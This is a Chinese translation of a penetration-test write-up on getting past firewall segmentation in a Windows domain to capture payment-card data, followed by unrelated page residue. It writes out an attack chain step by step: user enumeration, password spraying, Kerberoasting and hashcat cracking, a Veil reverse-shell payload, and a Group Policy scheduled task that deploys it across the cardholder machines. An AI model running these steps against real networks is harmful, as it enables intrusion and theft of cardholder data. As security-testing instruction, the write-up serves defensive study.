一步步绕过Windows域中的防火墙获取支付卡敏感数据

22.png

在这篇文章中我将详细介绍如何绕过防火墙,进入CDE(持卡人数据环境,代表存储、处理和传输支付卡敏感数据的计算机环境),最终提取信用卡数据。

一般来说,如果你要存储、传输或处理支付卡数据,那么就必须要确保支付卡数据在你的内部网络中保持高度安全,内部网络环境必须符合PCI数据安全标准(PCI-DSS)。当然,如果你的内部网络进行了分段,则不必让整个内部网络都符合PCI规范,只需让分段出的处理支付卡数据的环境符合PCI数据安全标准。而分段,即隔离出CDE,通常是利用防火墙来实现的。

以上就是有关此次渗透测试的一些背景,现在让我们正式开始吧。

注意,文中所有敏感信息都已修改,与真实数据相差甚远。目标公司拥有一个非常庞大的内部网络,所有IP都在10.0.0.0/8范围内。而持卡人数据位于单独的192.168.0.0/16范围内,与公司其他部门隔离。对CDE的操作主要由呼叫中心的操作员在接听客户电话后,在外部的Web应用中将资金细节输入表格再提交。

让我们从普通的内部环境开始,在10.0.0.0/8的范围内连接到公司的内部办公网络,然后我们使用ping和端口扫描从当时网络位置扫描整个CDE,结果如下:

33.png
44.png

ping扫描与直接使用ping命令效果基本一样,只不过nmap可以一次扫描整个网段。而第二个命令结果中的hosts up其实和nmap的参数-Pn有关,nmap在此情况下不会ping操作,此时nmap会将扫描范围内的所有主机都报告为up,真实情况可能完全相反。

因此,除非你有能绕过防火墙的手段,或者可以猜到管理防火墙的密码,否则直接扫描似乎不太可能。现在,我们要做的就是通过取得域管理员权限来控制活动目录。

成为域管理员

有很多方法可以做到这一点,比如我之前发表的这篇文章

在这种情况下,我可以利用kerberoast(就是破解Kerberos服务票据并改写)来控制域。我需要在域中找一个未授权的攻击点,逐步深入。

攻击活动目录的第一步是控制尽可能多的用户帐户,只要它们能以某种方式和域控制器进行身份验证即可。在Windows世界中,所有帐户都应该能通过域控制器进行身份验证,即使它们没有权限执行任何操作也是如此。在Windows默认安全级别下,即使是权限最低的帐户在登录时也需要验证密码是否正确。

在客户的内网环境中,域控制器允许建立空会话(在未提供用户名与密码的情况下建立会话)。在这种情况下,我们又发现域控制器IP为10.0.12.100,“PETER”。这使得我们可以用enum4linux等工具枚举用户,得到域中每个用户的用户名:

$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt

55.png
66.png

现在我们有了一个用户列表,我们可以将它转变成一个可阅读的格式:

$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'

77.png

在实际情况下,这个内部网络异常庞大,活跃用户超过25000人。

现在我们将用户名整理成文本文件,然后使用CrackMapExec等工具来猜测密码。在这里,我们将统一测试是否有用户使用Password1作为他们的密码。不要小看这个密码,它可符合活动目录默认的密码复杂性要求,因为它包含四种字符类型中的三种(大写,小写和数字)。

$ cme smb 10.0.12.100 -u users.txt -p Password1

Wow,有一个成功:

88.png

请注意,如果你想测试完所有帐户,需要指定参数--continue-on-success

99.png

现在我们已经控制了一个帐户,可以查询活动目录,获得服务帐户列表。服务帐户是一种代表服务的帐户,就像Microsoft SQL Server这样的服务。这些服务运行时,需要在以某种帐户身份存在于系统?;疃柯嫉腒erberos身份验证系统可给其提供访问权限,此时活动目录需要提供“服务票据”以方便用户对其进行身份验证。Kerberos的身份验证不在本文的讨论范围之内,如果你想了解更多信息,可以点击这里

通过从域控制器请求Kerberos服务帐户列表,我们还能得到每个帐户的“服务票据”。此服务票据是使用服务帐户的密码所加密。因此,如果我们可以破解它,就有很大概率得到高权限帐户。Impacket工具集可以帮助我们批量请求:

$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100

100.png

正如我们所看到的,其中一个服务帐户是Domain Admins的成员,这就是我们的目标。

$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

在运行hashcat进行密码破解后,我们得到了明文密码:

110.png

为了二次确认,我再次使用了CrackMapExec。

$ cme smb 10.0.12.100 -u redrum -p 'murder1!'

120.png

Wahoo,Pwn3d!现在我们已经是域控制器的管理员了。

得到支付卡数据

现在,我们的目标是CDE中接受呼叫中心指令的计算机,它们都位于同一个活动目录中,虽然我们无法直接连接到那些敏感的机器,但我们现在可以告诉域控制器让它们来连接我们。为此,需要深入了解组策略对象(GPO)。GPO允许将各种范围级别的设置应用于用户和计算机。为了防止?;た突б剑阒恍枰浪梢砸圆煌段Ъ侗鹂刂朴蛑械募扑慊?。

客户GPO的许多功能都是用于统一管理组织中的IT设置。例如,统一设置密码策略或者统一设置为用户桌面显示哪些图标(例如,打开公司网站的快捷方式)。而有一个GPO可以运行微软中的“计划任务”。这正是我们所需要的...我创建一个需要目标机器运行的脚本,让它们连接回我们的机器。以下是具体步骤:

1.生成payload。这里我们使用了Veil Evasion。我们的IP地址是10.0.12.1,因此我们设置回连到这个地址。

$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell 

130.png

2.使用我们从kerberoasting获得的凭据,通过远程桌面协议(RDP)登录到域控制器。

140.png

3.在活动目录中找到CDE。根据我们对客户组织的了解,我们知道呼叫中心在2楼工作。通过浏览目录,我们定位到一个特殊的名字:

150.png

4.将我们用Veil制作的恶意脚本放入文件夹,然后在域控制器上进行共享。在共享和目录上设置权限,允许所有域用户读取。

160.png

5.在GPO中,我们在如下图创建策略:

170.png

6.在编辑这个新的GPO时,查找“计划任务”选项,并创建新的“即时计划任务”:

180.png

7.创建指向共享中恶意脚本的任务。同时在common下设置Run in logged-on user's security context。

190.png

Done!

在我等了15分钟后,什么也没发生。我知道组策略的生效可能需要90分钟或者更久,但我觉得至少有一台机器现在已经应用了新策略(注意,如果在实验室中测试,你可以使用gpupdate/force)。然后我又等了五分钟,看到了如下情况:

aa.png

运行命令截取屏幕截图,确切地返回了呼叫中心当时输入的内容...支付卡数据!

200.png

渗透目标已全部完成!

如果我们查看会话列表,我们可以看这个会话的IP来自192.168.0.0/16

bb.png

在实际测试中,整个二楼的机器基本都返回了shell,我最后得到了60-100个Meterpreter。

在实际的测试中,有一个专门截图的脚本(我们使用metasploit的autorunscript来实现),这样我们就可以深入其他方面。

还有其他获取截图的命令,例如在Meterpreter中使用use espia以及metasploit的post/windows/gather/screen_spy

还有一些以编程的方式执行GPO的方法,例如PowerView中的New-GPOImmediateTask

而从防御的角度来说,可以实施很多安全措施,例如把CDE设置一个单独的活动目录,鼓励用户设置强密码并确保任何服务帐户都是疯狂的长密码(20多个字符,完全随机)?;箍梢约觳馐欠裼腥魏斡没б淮涡匀デ肭笏蟹竦钠本?,也可以使用蜜罐进行防御。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2523.html
来源:https://markitzeroday.com/pci/active-directory/kerberoast/firewall/2019/04/24/gaining-access-to-card-data-using-the-windows-domain-to-bypass-firewalls.html

?著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,172评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,346评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,788评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,299评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,409评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,467评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,476评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,262评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,699评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,994评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,167评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,499评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,149评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,387评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,028评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,055评论 2 352

推荐阅读更多精彩内容

  • 0 操作成功完成。1 功能错误。2 系统找不到指定的文件。3 系统找不到指定的路径。4 系统无法打开文件...
    ccq_inori阅读 2,829评论 0 0
  • 前言 本文是根据solr官方文档翻译和改编来的,所以你也在官方文档中看到过,不要惊讶。 安全认证种类 solr带有...
    明翼阅读 6,609评论 1 5
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,725评论 0 10
  • (一)基本命令 命令格式: 命令 参数 1.ls 显示文件名,等同于dos下dir命令 命令格式:ls [opti...
    飞羽孟德阅读 1,880评论 0 3
  • 国家电网公司企业标准(Q/GDW)- 面向对象的用电信息数据交换协议 - 报批稿:20170802 前言: 排版 ...
    庭说阅读 10,939评论 6 13